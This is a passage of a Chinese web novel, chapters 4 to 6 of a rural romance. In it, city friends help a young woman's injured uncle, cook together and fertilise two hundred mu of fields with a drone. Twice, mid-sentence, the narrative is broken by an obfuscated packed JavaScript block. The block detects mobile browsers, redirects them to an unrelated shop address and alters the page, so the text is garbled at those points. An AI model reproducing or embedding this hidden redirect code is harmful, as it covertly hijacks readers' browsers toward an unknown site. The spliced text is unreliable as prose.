在车动前,二伯拉住李乘歌的手,不忘嘱咐,“乘歌,家里有三只鸡跑丢在山上了,今天一定要找回来。” “二伯!”李乘歌放大声音,都什么时候了,还惦记着那几只鸡。 李良看出李乘歌眼里的不理解,他拍了拍她的手,“这几只鸡我养得可肥了,本来打算过一段时间给你送到城里去。现在你回来了,杀了就能吃,可不能丢了。” 李乘歌抿唇,随后点了点头,“我知道了,我晚点就去山上找,先让人把你送到医院去。” 安抚好二伯,李乘歌走到傅拭雪车窗旁,“麻烦你了,将二伯送到医院,我晚点来。” 傅拭雪轻声应着,“嗯,我先送过去。” 等妇人上车,傅拭雪就开车往镇上赶。 车走了,李乘歌与夏叙言面面相觑。 半晌后,夏叙言先拜下阵来,他提议,“要不我帮你找找。” 李乘歌考虑片刻,带着歉意看向他,“今天麻烦你和傅拭雪了。” 夏叙言摆了摆手,笑道,“小事。” 找鸡的确是小事,但是在一个陌生的环境找鸡好像不是一件小事。 夏叙言觉得自己也是可笑,他才刚来这里第一天,他就敢在完全不了解地形的情况下一个人上山,现在好了。 在山里转悠了两个小时,看着上山和下山一样的路。 很悲惨。 他现在和那些走丢的鸡没差了,都需要有人来带回家。 夏叙言扯下衣角一处的布料,绑在身前的树干上。 从标记处往下走,半个小时,他看着那抹黑色丝带。 他一直在原地打转。 夏叙言拿出手机,左转右探地寻找信号,可惜这山里没有安装信号。 山间寂静,耳边只有鸟啼声。 哪怕大声吼叫,也没有人能回他。 最后,夏叙言泄气般地坐在一块石头上,垂下头,捡起一旁的树枝在地面上画着圈。 他敛下嘴角,眉目间沉沉戾气,冷淡地盯着自己画的圆,一双眼睛黯淡,眼中目光似山中一处无人知晓干枯许久的枯井,瞧去见不到一点人气。 下一秒,一颗青涩的果子落在他的脚步。 夏叙言抬头,光透过树梢照射在他的眉眼间。 他的眼里多了一抹身影。 女孩站在山坡上,阳光透过枝叶的缝隙,在她周身镀上一层柔和的光晕。 那双清澈的眼眸像林间初生的小鹿,带着几分好奇与关切。 她的声音清凌凌的,如同山涧叮咚的泉水,“你……你还好吗?” 4. 朋友 温暖的光照进清冷的山间。 日光和煦,穿过山雾洒在清寂的山间,将叶片上的露珠照得晶莹剔透。 夏叙言靠坐在一块青石上,看着那抹纤瘦的身影如林间小鹿般轻盈地跃过溪涧,踩着碎石小路快步走来。 女孩蹲在他身前,眨了眨眼睛,她的眸子像是被山泉洗过般清澈明亮,声音软糯,“你是走失了吗?” “嗯。”夏叙言将手中把玩的枯枝丢开。他看向她,眸中神色似隔了一层雾霭,将情绪尽数遮掩,只轻轻勾起唇角,“走丢了。” “那我带你下山吧。”女孩向前倾身,细细端详他片刻,秀气的眉头微微蹙起。 “你的笑容好奇怪。”她伸出冻得微红的指尖,轻轻抚平他上扬的嘴角,目光真诚,“如果不想笑,是可以不用笑的。” “笑应该是发自内心的。” 夏叙言嘴角的笑容僵硬了一瞬。他伸手在女孩额头轻弹,玩笑道,“你看错了,我的笑多好看,人人都说好看的那种。” 说着,他轻声问,“你叫什么名字?” “沈引弟。” 女孩抬手捂上被弹的额头,其实不疼,没弹上,他的指尖只是堪堪擦过。 夏叙言皱眉,“这么可爱的姑娘,怎么取了这么一个名字。” 沈引弟沉默片刻,“家里取的。” “那你给我一个其他的称呼。”夏叙言将下巴搭在膝盖上,目光温和,“朋友之间称呼的那种。” “朋友?”沈引弟在两人之间指了指,“你和我吗?” “嗯。”夏叙言抬头看了看四周云雾缭绕的山峦,“这里除了你和我,还有别人吗?” 沈引弟摇了摇头,“没有。” 既然没有,那当然就是他们两个了。 沈引弟小声地说出一个名字。 “摘星。” “沈摘星,我记住了。” 夏叙言舒展笑容,与她平视。 他清了清嗓子,郑重地伸出手。 “你好,沈摘星。” “我是夏叙言。” “很高兴认识你。” “可以做个朋友吗?” 男人的眼中眸光如星光闪烁,沈摘星恍惚了一瞬,不觉地握上他的手。 “当然可以。” “很高兴认识你。” “夏叙言哥哥。” - 下山的路蜿蜒曲折,沈摘星走在前面,不时回头确认夏叙言是否跟上。 山风拂过,带来竹叶沙沙作响,偶尔有几声鸟鸣从林深处传来。 回到那座青瓦白墙的小院时,李乘歌立即迎了上来。 “回来就好。”她后怕地看着他,红了眼眶,“抱歉,我忘了你是刚来这里不久,我竟然让你一人在山上。” 触及李乘歌眼底的担心,夏叙言愣怔了五秒,“你别哭啊,我不是好好回来了吗?” 想起那三只惹事的鸡,他又问道,“鸡找到了吗?” 李乘歌伸手指了指院里的竹笼,“全部找到了,现在已经被我关起来了。” “找到就好。”夏叙言下意识应道。 从愣怔的情绪里出来,夏叙言转身看着门外的沈摘星,对着李乘歌说,“这是沈摘星,刚才我在山上迷路,是她带我下山的。” 李乘歌将目光放在门口的沈摘星身上。 那是个瘦小的女孩,看年纪不过十七八岁。 虽已开春,但初春的寒意依旧刺骨。这孩子身上只穿了件单薄的布衣,两只小手冻得通红。 夏叙言也注意到了,他回屋拿出一件厚外套,正要给沈摘星披上时,李乘歌轻轻拦住了他的动作。 她回屋取来一件耐脏的黑色外套给女孩穿上,“若是家人问起来,你就说是李家伯母见你穿的单薄,心疼给的。” 沈摘星乖巧点头,“嗯,我知道的。” 夏叙言收回手中的外套,确实,他考虑欠周了。 这不是大城市,在村里,女孩多一件男人的外套都可能成为闲言碎语的源头。 他可以觉得无所谓,但她不能。 - 家里的事安顿妥当,李乘歌搭着邻居家的三轮车来到镇上。 询问一番后,她在卫生院的值班室里找到了二伯一行人。 见她来,傅拭雪走到李乘歌身旁,低声说,“刚检查过了,可能伤到骨头了,这里的设备和技术都处理不了,我建议去市里的骨科医院看看。” 李乘歌点头,陪着二伯来到市骨科医院。 做完一系列检查,医生诊断伤情不算太重,只是腿部滚落时撞到石块导致骨裂,打上石膏固定就好。 等腿部固定完毕,李乘歌推着轮椅来到车库,傅拭雪将李伯抱上车,收起轮椅放进后备箱,随后启动车辆驶离医院。 李乘歌坐在副驾驶位上,她转头看向傅拭雪。 “今天谢谢你了。” 傅拭雪打了转向灯,前方正好是红灯。 他对上李乘歌的目光,笑道,“谢什么?” 李乘歌低声说道,“谢谢你今天能将二伯送到市医院来。” 傅拭雪轻笑一声,“这不必感谢,我来村里半年,承李伯帮衬许多,他受伤送来医院,也是我应该做的。” 绿灯亮了,傅拭雪打了一个弯,就往村里开去。 等回到村里时已经是中午十二点。 傅拭雪将李伯从车上抱下,放置在轮椅上。 他看了眼天色,“现在不早了,就在这里吃午饭吧。” “拭雪啊,今天已经太麻烦你了,再让你做饭招待我们,这怎么好意思。”李家伯母局促地捏着衣角,语气中带着赧然。 傅拭雪温声缓解她的不安,“不麻烦,我简单做点,咱们随便吃点。” 见傅拭雪如此坚持,李家伯母不好再推辞,点头道,“那好吧,我和你二伯不挑食,你做得简单点就好,不用太多。” 李家伯母应下后,傅拭雪点了点头,将车钥匙递给夏叙言,“叙言,麻烦你去把车还了。” 夏叙言接过钥匙,对着傅拭雪扬了扬眉,“我帮你还车,有什么好处吗?” 傅拭雪回头勾唇,“你爱吃的红烧肉够不够?” 听到红烧肉,夏叙言双眼一亮,连忙点头,“够了,我这就去。” 夏叙言去还车,二伯有二伯母照顾。 李乘歌觉得傅拭雪那边更需要帮手,便走进厨房,“有什么需要我做的吗?” 傅拭雪正舀出铁锅里的水,“会点煤球炉吗?” “会。”李乘歌点头。 傅拭雪取出一个砂锅递给她,温声道,“那就麻烦点个煤球,顺便把砂锅洗一下。” “好。”李乘歌接过砂锅。 将煤炉交给李乘歌后,傅拭雪从柜子里取出陈皮、八角、香叶、冰糖放进竹扁,端到灶台上。 他拿过生姜和大葱,斜切成片,码放在碗碟里,又取来五花肉,先用柴火燎尽猪皮上的毛发,然后放在砧板上切成均匀的方块。 将切好的五花肉倒入锅中,舀入冷水没过肉块,放入姜片、倒入黄酒。准备工作就绪后,傅拭雪点燃竹叶捆塞进灶洞,再添上干燥的竹板和柴火。 随着柴火地添进,水面开始飘起白色的蒸汽,不一会儿儿扑通扑通地冒出小水泡。 再煮一会儿,傅拭雪想。 随着柴火添入,水面渐渐升起白色蒸汽,不一会儿便咕嘟咕嘟地冒出细密的水泡。 待浮沫尽数溢出,傅拭雪回到灶台前,将焯好水的五花肉捞出沥干。 舀尽锅中的水,待铁锅烧热,他不放油,直接将肉皮贴锅底小火慢煎,直到熬出黄澄澄的猪油,才用筷子轻轻翻动肉块。 待五花肉中的油脂大半熬出,两面煎至金黄,傅拭雪将肉块捞出摆放在一旁。 热油融化冰糖,他将肉块倒回锅中,淋入老抽,撒入八角、香叶,用锅铲翻炒至每块肉均匀上色,随后倒入热水没过肉块,盖上锅盖文火慢炖。 锅里红烧肉咕嘟作响的间隙,傅拭雪也没闲着。 他捡起竹篮里的土豆,又从院前的菜地摘来青辣椒,清洗干净后,娴熟地将辣椒和土豆切成薄片。热锅下冷油,倒入青椒炒出香辣气息,再下土豆片,淋入调好的料汁,快速翻炒勾芡。 小院里炊烟袅袅,小狗米饭酣睡在垫子上,猫儿伸着爪子在水池边试探。 二伯母推着二伯在院中慢慢转悠。 李乘歌拿着蒲扇在煤球炉前轻轻扇动,看着厨房里忙碌的身影和院中安详的家人,这个院子终于有了温暖的人间烟火气。 这边其乐融融,夏叙言那边就有些难言。 在车子第三十三次熄火后,他是彻底没了脾气。 沈摘星蹲在路边,双手托腮瓮声问道,“你是在测试这辆车的熄火功能吗?” “没有。”夏叙言转头看她,生无可恋,“傅拭雪把车交给我的时候,可没说是手动挡。” 而且还是离合和刹车特别敏感的五菱面包车。 在第三十四次叹息后,他重新点火,小心翼翼地把握力度再次踩下离合。 这次,凭借前三十几次的经验,车子终于没有熄火,稳稳地向前驶去。 经过不懈努力,夏叙言终于将车开回主人家院子。 “叔,车还您,钥匙在这儿。”夏叙言双手递过钥匙。 阿叔接过钥匙,关切地问,“人去医院看过了?怎么样?” 夏叙言回想李伯回来的模样,思忖片刻,“腿部受了伤,打了石膏,别的伤没瞧见。拭雪回来也没多说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310813|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,应该没有大碍。” “没事就好。”阿叔背着手点头,“你跟阿良说声,晚点我得空,提几块肉去看看他。” “嗯,我一定转达。”夏叙言笑着点头,目光瞥见仍在门口蹲着的沈摘星,“叔,要是没别的事,我就先回去了。” 阿叔摆摆手,“没事了,你去忙吧。” 走出院子,夏叙言在沈摘星身后蹲下,轻笑道,“在等我?” “啊……”沈摘星被这突如其来的声音吓了一跳,身子一歪向后倒去。 夏叙言伸手托住她背脊处的衣服,将她稳住,“抱歉,吓到你了。” “不怪你,是我自己没蹲稳。”沈摘星站直身子,摇摇头,目光清澈,“下次不会了。” 夏叙言看着她,从口袋里掏出一颗糖,“给,香橙味的。” 沈摘星接过糖果,好奇地打量,“这是什么?” “糖果。”夏叙言垂下眼眸,“尝尝。” 沈摘星将糖果捏在手里,好奇地看着,却迟迟不打开。 夏叙言微不可察地皱眉,摘星是没吃过糖果吗? 心中有疑惑,夏叙言并没有展现出来,他在沈摘星的目光里,打开糖果的糖衣,然后吃下。 沈摘学着他的样子,剥开糖纸,将橙黄色的糖果放入口中。 清甜的香橙味在舌尖绽开,丝丝甜意蔓延至心尖。 她满足地眯起眼睛,“好甜啊。” 是甜到心底的那种甜。 夏夏叙言将口袋里所有的糖果都掏出来,“喜欢的话,多拿些。” “嗯嗯。”沈摘星眯着眼点头。 当夏叙言回到小院时,午饭已经准备好了。 院子内的石桌上放置着一个砂锅和四碟菜,掀开砂锅,里面是白菜肉丸炖粉条。 傅拭雪从厨房取来一把轻薄透亮的虾皮,手指在砂锅上方轻轻摩挲,虾皮如雪花般飘落锅中,被白润的汤汁浸润。他拿起白玉勺顺时针搅拌两圈,肉丸的香气随之四溢,最后撒上细碎的葱花,白玉般的菜汤上顿时点缀了几抹翠绿。 其他四碗菜分别是醋炒鸡、红烧肉、干锅土豆片、红烧冬瓜。 李乘歌摆好碗筷,顺便端出在煤炉上温着的百合银耳粥。 二月天气干燥,这粥最是降火润燥。 “好香啊。”夏叙言一进门就闻到了饭菜的香气。 傅拭雪将铁锅里蒸熟的米饭盛进木桶,从厨房端出,“吃饭了。” 闻言,李家伯母将李伯推到石桌旁,夏叙言也乖乖落座。 春日的阳光慵懒地洒满小院,暖意融融。 李乘歌为二伯和二伯母盛好饭,转身又拿起傅拭雪面前的瓷碗。就在她伸手去拿他身前的白瓷碗时,指尖竟不经意地掠过他温热的唇。 柔软的触感如电流般窜过指尖,她心尖一颤。 几乎是同时,她垂下眸。 正对上傅拭雪的目光,他显然也愣了一下,那柔软的触感太过意外,像是春日柳絮轻轻拂过唇边,带起些许陌生的涟漪。 四目相对间,空气仿佛凝滞了一瞬。 他先回过神,很自然地伸手接过她手中的饭勺。 指尖相触的瞬间,方才那一闪而过的温热触感似乎再次被唤醒,两人都几不可察地顿了顿。 “我来吧。”他低声说,声音比平时更温和些,接过饭勺时避开了再次的碰触。 李乘歌松了手,指尖蜷了蜷,悄悄收回了身侧。 方才那短暂触碰留下的微妙感觉,如同投入心湖的小石子,涟漪正一圈圈无声荡开,带着某种说不清的心慌与悸动,悄然蔓延。 傅拭雪接过饭勺,为自己盛了一碗饭,坐回桌边安静地吃了起来。一切如常,只是耳廓在阳光下透出一点不易察觉的薄红。 雪白的米饭团子不知何时凑到了他脚边,正绕着自己的尾巴打转,圆滚滚的身子笨拙地转着圈儿,像个毛茸茸的小陀螺。 院中池里的莲叶轻轻摇曳,将叶面的水珠抖落池中,一两条未长成的锦鲤跃出水面,啜饮着清晨的露珠。 春风温和,拂过翠绿的麦苗,带来泥土和植物的清新气息,轻轻抚过每个人的心田。 日光缓缓流淌,当春风再次拂过时,夏叙言正抱着打瞌睡的米饭,李伯和李伯母将吃完的碗碟叠起,傅拭雪将碗筷端进厨房。 李乘歌挽起袖子,正要拿起丝瓜络。 一只白团子就落入怀里,夏叙言接过她手中的丝瓜络,挤上洗涤剂,“我来洗。” 说完,他有条不紊地将碗筷清洗干净,沥干水分,又拿起扫帚打扫厨房。 等夏叙言将垃圾打包处理好,放下抹布的那一刻—— 傅拭雪从院外回来,说道。 “尿素和复合肥到了,一共4吨,人工卸货。” 5. 追肥 “四吨,全得咱仨自己扛?”夏叙言手里抹布啪嗒掉进盆里,音调都扬了起来。 “嗯。”傅拭雪点了点头。 “行啊你。”夏叙言那双总带着三分笑意的桃花眼这会儿瞪得溜圆,上下扫视傅拭雪,“这才多久没见,真当自己是铁人了?” 他认命地往前挪步,背影都透着一股风萧萧兮易水寒的悲壮,“走吧,肥在哪儿?说吧,怎么个搬法?” 一出院门,夏叙言一眼就看见了村口那辆大家伙。 两米高的车身,六米多长的货斗,满满当当堆着小山似的白色化肥袋子,在晨光里白晃晃地刺眼。 卡车慢悠悠开到田边岔路口停下,司机是个皮肤黝黑的中年汉子,探出头来,朝傅拭雪熟稔地扬了扬手,“傅老板,按你说的,运到这儿了!” 傅拭雪抬手回应,又朝旁边小货车前那个穿着沾泥工装裤的男人点点头,这才转向夏叙言,“喏,就那儿。” “不是吧……”夏叙言捂住胸口,小脸皱成一团,“四吨!我这细胳膊细腿的,真不会直接交代在这儿?成为土地的‘养分’吧?” “放心。”傅拭雪眼里闪过促狭的光,伸手在他瞧着就不甚结实的肩胛骨处捏了捏,手感确实单薄,“你这身板,埋地里都肥不了两亩。” “傅、拭、雪!”夏叙言气笑,一个箭步上前就熟练地勾住他脖子,胳膊用了点力,“我看你是想一个人搬,现在能帮你的可就咱俩,把我惹急了,受苦的还是你自己,还不哄着点。” 他哼哼唧唧地威胁,“信不信我立马躺平给你看?” “好好好,”傅拭雪被他勒得微微弯腰,侧脸上那粒小小的泪痣都跟着生动起来,笑着讨饶,“我哄着点,夏大少爷最讲义气,心胸最宽广。走走,赶紧干活去,早干完早歇着。” 李乘歌跟在两人后头,看着这两个大男人像没长大的少年似的打闹拌嘴,忍不住抿嘴笑了,连日来心头的阴霾都散了些。 她悄悄打量走在前面的傅拭雪,这人明明穿着最简单的粗布衣裳,裤脚还挽起一截,可肩背挺得笔直,走路时步伐稳健,和城里那些穿着西装却总驼着背的同事全然不同。 她正看得有趣,忽然感觉有人轻轻碰了碰自己的胳膊肘,转头一看,是沈摘星。 小姑娘不知何时也跟了出来,扎着个清爽的马尾,穿着洗得发白的外套,安静地走在她身侧,目光追着前头那两个幼稚鬼,嘴角也弯着小小的弧度。 见李乘歌看她,沈摘星有些不好意思地缩回手,指了指前面,小声道,“他们……一直这样吗?” “看着像。”李乘歌笑着回答。 走到卡车旁,她目光扫过车厢侧边的液压卡扣,心里忽然了然。 这是辆翻斗车,不用人力卸车。 她抬眼看向正在和司机低声交谈的傅拭雪,侧脸在晨光里显得格外专注。这人虽说自称种地新手,可做事周全,脑子也活络,租地、订肥、联系农机,一样没落下。 司机交代完便麻利地上车,发动引擎。只听一阵液压杆推动的闷响,沉重的车厢缓缓向后抬起,形成一个倾斜的坡面。 “噗——噗——” 细密的尘土瞬间被扬起,在金色的阳光里打着旋儿飞舞。 李乘歌和沈摘星赶忙侧过脸,将口鼻掩进衣领,眯起眼睛。 几乎是眨眼间,伴随着一阵哗啦的倾泻声,那四吨白色的小山便整整齐齐地堆在了田边空地上。 “这就……完了?”夏叙言愣在原地,嘴巴微张。 “嗯,卸好了。”傅拭雪抱着手臂,点了点头。 “啧。”夏叙言摸摸鼻子,转身对李乘歌和沈摘星摊手,“看见没?这人蔫儿坏,就喜欢看我们着急。” 沈摘星被他夸张的表情逗得“噗嗤”笑出声,又赶紧忍住,低下头去。 施肥的环节却没那么简单。小货车旁的男人已经利落地打开车厢,傅拭雪搬下一台无人机,他身材高瘦,动作却稳当得很,展开机翼、连接设备一气呵成,晒成小麦色的手臂上肌肉线条分明。 等男人调试好数据,傅拭雪用镰刀划开一袋尿素,小心地往无人机料箱里倾倒,直到那男人伸手拦住,“够了,再多影响飞行平衡。” 男人站上田埂,操控着无人机腾空而起。雪白的肥粒从蔚蓝的天空均匀洒落,旋翼带起的风将肥料吹散,覆盖在褐色的土地上。 傅拭雪和夏叙言留在车边装填肥料。两人手上动作却不慢,三两下又划开一袋。 傅拭雪则仔细检查每个袋口,生怕撒漏了。 夏叙言看着他的动作,这个从小锦衣玉食的少爷,如今做这些农活竟也像模像样。 沈摘星看了一会儿,主动走到李乘歌身边,轻声问,“乘歌姐,我……我能帮点什么吗?” 李乘歌正挽起袖子,闻言笑着递给她一把小铁锹,“来,帮我一起把撒到田埂边上的肥往里拢拢,别浪费了。” “嗯!”沈摘星用力点点头,接过铁锹,仔细地将散落的肥料颗粒扫进田里。 李乘歌端着盆走上田埂,她抓一把肥料,手腕轻轻一扬,白色的颗粒便均匀地撒进田埂边缘那些无人机难以覆盖的角落。 这个动作她小时候做过无数次,如今再做,肌肉竟还留着记忆。 无人机一趟又一趟地往返,李乘歌站在田埂上,望着阳光下这几个忙碌的身影。傅拭雪正和男人低声讨论着什么,侧脸被镀上金光。 夏叙言不知说了句什么俏皮话,自己先笑了起来,露出一口白牙。空气中那股熟悉又有些刺鼻的化肥气味,裹挟着旧日记忆扑面而来。 种地,曾是山里人唯一的活路。 小时候,村里还是集体劳作。 会驾牛的人牵着黄牛,拖着沉甸甸的铁犁在水田里来回走,吆喝声能传过整片田野。大人们卷起裤腿,把秧苗捆在腰间,顶着毒日头,一株一株弯腰插进泥里,后背的汗渍湿了又干,结成白花花的盐霜。追肥的时候,更是全凭一双手、两条腿,提着桶在田埂上来回走,一遍又一遍,撒到胳膊都抬不起来。她也曾拎着个比她胳膊细不了多少的小桶,跟在大人们身后,撒得满头是汗,掌心磨得通红。 她还记得自己累哭了,一屁股坐在田埂上不肯起来。 爸爸把她抱起来,架在自己脖子上,指着脚下绵延的绿色说,“咱乘歌是大山的孩子,得扛住。” 那时候,给两百亩地追肥,得动员全村人忙活两三天,傍晚收工时,田埂上坐满了揉腰捶腿的人。 可现在,一台机器,一天就能完成。 李乘歌的目光落向田边那条小溪。溪水还是那么清,可童年时一起摸鱼抓虾、为了一只螃蟹争得脸红脖子粗的伙伴,如今早已散落在各个城市的高楼大厦间。若不是这次失业回来,她大概也不会重新站在这里,闻到这熟悉又陌生的泥土气,看见这片土地新的模样。 脚下的这片土地,是丰饶的鱼米之乡,气候温润,土壤肥沃。曾几何时,村里人靠种地不仅能养活一大家子,还能有余粮挑去镇上卖,换回油盐酱醋和孩子们的新衣裳。日子虽不宽裕,却也踏实安稳,傍晚炊烟升起时,家家户户飘出的饭菜香都是一样的。 可后来,外面的世界变化太快。种地辛苦,挣钱却不多,年轻人一个个离开大山,奔向霓虹闪烁的远方,她见过太多叔叔伯伯弯腰时后腰贴的膏药,也摸过阿婆们手上像老树皮一样厚实粗糙的茧。 ——直到现在她才真切地看见,原来地还可以这样种。 犁地有机器轰隆隆地开过,播种有精量播种机嘀嗒作响,插秧有插秧机一排排推进,连施肥都有无人机嗡嗡地在头顶盘旋。 那些曾经累垮了一辈人腰的环节,如今都有了更轻省、更聪明的模样。 李乘歌撒完手里的肥料,走回傅拭雪身边。 夏叙言正瘫坐在化肥袋上灌水,看见她来,有气无力地挥挥手; 也许,失业并不全然是坏事。 有失必有得,种地这件事本身,何尝不是一种踏实的生活能力? 她望向这片再熟悉不过的土地,又看看身边这几个明明背景各异、却都聚在这里的人,心里忽然透亮起来,她不想再回城里,做那只被格子间驯化、每天盯着电脑屏幕直到眼睛干涩的“社畜”了。 她想留在这里,脚踩泥土,头顶蓝天,看种子破土,等庄稼抽穗。 她抬起头,看向逆光中的傅拭雪。阳光给他轮廓镀了层毛茸茸的金边,她眨了眨眼,轻声唤他,“傅拭雪。” “嗯?”傅拭雪接过她手中的空盆,低头看她。他嗓音因久未喝水而有些低哑,带着颗粒感,却出奇地温和,“累了?” “不是。”李乘歌摇摇头,目光清澈而坚定,像被山泉洗过,“我想明白了,我不回城里了,我想留在村里。” 阳光温柔地笼罩着两人,山间最后的薄雾已然散尽。傅拭雪望向她的眼神格外柔和,像春日下午掠过田间的风吗,带着青草和阳光的气息。 李乘歌顿了顿,声音轻而稳,却字字清晰,“我想和你一起,把地种好。” “好。”傅拭雪没有追问原因,只是侧身站在她身旁。清晰的下颌线被光线切割出一道明暗交界的轮廓,他嘴角有很浅的弧度,不是平日那种客气疏离的笑,而是从眼底漫上来的真实暖意。 微风拂过田埂,吹动他额前碎发。他说—— “欢迎加入。” 话音落下,重新装满肥料的盆又回到李乘歌手中。两人的目光在空中轻轻一碰,像蜻蜓点过水面,荡开一圈极淡的涟漪。随即像达成了某种心照不宣的默契,相视一笑,各自转身继续忙碌。 刚撒了没几步,田埂另一端传来了熟悉的脚步声。二伯母提着一个边角有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310814|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磕瘪的旧铁皮桶,裤脚还沾着新鲜的泥点。她脸上却带着爽朗的笑,“乘歌,二伯母也来搭把手!” 李乘歌一愣,“二伯母,这怎么好麻烦您……” “麻烦啥呀!”二伯母摆摆手,手臂晒成健康的铜色,结实有力,“你二伯母种了大半辈子地,这点活儿顺手就干了。咋的,嫌弃我老胳膊老腿啦?” “怎么会!”李乘歌连忙摇头,心里暖烘烘的。 她想起小时候,二伯母也是这样,嗓门大,手脚快,总在她爸妈忙不过来时,往她兜里塞两个煮鸡蛋。 “那就行!”二伯母利落地走到傅拭雪那边,自顾自给桶里加满肥料,说着就拎着桶去一旁的地里,“你二伯母没念过啥书,可论种地,绝不拖后腿!” 天上传来低轰声,二伯母抬头,“拭雪!这无人机咋使唤?下回我家那几亩地,让这玩意也来地里飞上几趟呗,让二伯母也学学这新玩意儿。” 傅拭雪愣了一下,随即点头,“诶,好!” 不多时,又有几位闻讯而来的乡亲加入进来。 有扛着锄头刚从自家地里回来的大叔,有挎着竹篮准备去采菜见状放下篮子就来帮忙的阿婆。 田里的气氛顿时热闹起来,说笑声、吆喝声混在一起,效率也肉眼可见地往上窜。 夏叙言这会儿也不喊累了,一边装肥一边跟旁边的大叔扯闲篇,逗得人家哈哈大笑。 七八个人配合着一台无人机,终于在夕阳即将沉入山脊时,将两百亩地全部追完了肥。 无人机完成最后一趟任务,稳稳降落在田埂上。 夏叙言再也撑不住,直接向后一倒,躺在了路边的蛇皮袋上,长长吐出一口气,“……可算完了,骨头都散架了。” 连续装了四个小时肥料的傅拭雪也靠着田埂坐了下来,额发被汗浸湿,贴在额角。他拿起水壶仰头灌了几口,喉结滚动。 忽然,他望着天边烧起来的云霞,轻声说,“晚霞真美。” 李乘歌和沈摘星也靠在一起休息,闻言都抬起了头。夏叙言枕着手臂望向天际,伸出手,让一小片橙红的光落进掌心。他眯起眼,嘴角勾起懒洋洋的弧度,“别说,在这儿看日落,比在城里看霓虹灯有意思多了。” 绵延的橘色云丝铺满了半边天,夕阳的余晖穿过云隙,洒在白墙灰瓦的村落上,给每一片瓦都镀上了暖光,连烟囱里飘出的炊烟都染成了金色。村庄静卧在山峦的怀抱里,田野尽头是郁郁苍苍的竹海,在晚风里沙沙作响。一条土路蜿蜒着,温柔地分隔开天与地,路上有扛着农具慢慢往家走的人影,拖出长长的影子。 几个沾着泥土带着汗味的身影挨坐在田埂上。傅拭雪放松地曲着一条腿,李乘歌抱着膝盖,夏叙言四仰八叉地躺着,沈摘星则坐得端正。 二伯母和几位乡亲已经先回去了,说明天再来帮忙锄草。 谁也没说话,只是安静地看着那片越烧越绚烂,渐渐变成紫红色的晚霞。远处传来几声狗吠,谁家孩子在喊吃饭,空气里飘来隐隐的饭菜香。 是啊,李乘歌想,这晚霞,真美。 - 追肥的忙碌告一段落,田里的活儿暂时松快下来。 小麦正在返青,绿意一天比一天浓,玉米苗也站直了身子,在春风里轻轻摇摆。 傅拭雪却开始琢磨起新的事情:剩下的地,该种点什么好呢? 这个问题让他有些拿不定主意。 他坐在院子的竹椅上,把白白软软的米饭团子抱在怀里,有一搭没一搭地顺着它背上的毛,小狗在梦里哼唧一声,蹭了蹭他的掌心。 不知不觉间,轻轻叹了今天的第十口气。 “怎么了?”李乘歌擦着手从厨房走出来,她刚试着照傅拭雪教的方法熬了锅小米粥,厨房里还飘着谷物的香气。 她在傅拭雪身旁的小凳上坐下,歪头看他,眼睛亮晶晶的,“今天都听见你叹好几次气了,遇上难事儿了?” 夏叙言正躺在摇椅上玩手机游戏,闻言头也不抬地插嘴,“他能有啥难事儿?愁今晚吃啥?” 话是这么说,耳朵却悄悄竖着。 “嗯。”傅拭雪抬起头,思考片刻,“我在想,剩下的地该种点什么。小麦玉米都有了,总觉得……还能再添点啥,可又想不好。” 他挠了挠米饭的下巴,小狗舒服地哼唧了一声,“你觉得种什么合适?” 他看向李乘歌,语气里带着自己都没察觉的信任和依赖。 李乘歌没有立刻回答。她托着腮,目光掠过院子里晾晒的干辣椒、墙角的农具,望向院外那片刚刚追完肥,在夕阳下泛着油光的土地,更远处是郁郁葱葱的山野。 风吹过,带来泥土和青草的味道。 她想了想,才温声反问,“那你自己最想种什么呢?不是觉得该种什么,而是……心里有没有特别想试试看的?” 6. 抱我 “就是因为不知道种什么,我才惆怅。”傅拭雪捏了捏米饭的尾巴尖,语气里难得带了点少年人似的迷惘,与他平日里的沉稳周全有些反差。 李乘歌看着他微微蹙起的眉心,想了想,温声建议,“既然心里没谱,为什么不出去看看呢?” “南方的土壤和温度都差不多,临城的相邻的村里都种植着很多农作物,他们能种,我们这里大致也能种。” “也对。”傅拭雪想了想,瞬间被点醒,他放下怀里的小狗,站起身,行动力极强,“那我们现在就去邻村转转?” “现在?”李乘歌看了看天色,午后阳光正好,“行啊。” 两人说走就走,各自带了个笔记本,就开了那辆有些年头的小皮卡出了门。 车子沿着盘山公路慢悠悠地开,春风从车窗灌进来,带着山野草木的清新气息。 傅拭雪开得很稳,偶尔指着路边掠过的田块,说几句自己的观察。 李乘歌应着,目光也流连在窗外不断变换的景色里,家乡的变化其实挺大的。 到了邻村,果然在路边就看到几排整齐的白色大棚,在阳光下反着光。傅拭雪将车熄火停在路边,两人下了车。 李乘歌走近最近的一个棚子,弯腰从掀开的棚帘往里看。棚里,一位头发花白的阿公正在仔细地修剪葡萄藤上干枯的枝桠,动作缓慢却稳当。 “阿公,您好。”李乘歌站在棚口,礼貌地打招呼。 阿公闻声转过头,眯着眼打量她,“你是?” 李乘歌走近两步,笑容里带着晚辈的恭谨,“我是隔村李立的女儿,李乘歌。” “李立?”阿公浑浊的眼睛转了转,嘴里念叨着这个名字,手上修剪的动作也停了。李乘歌安静地等着,没有打扰老人家的回忆。 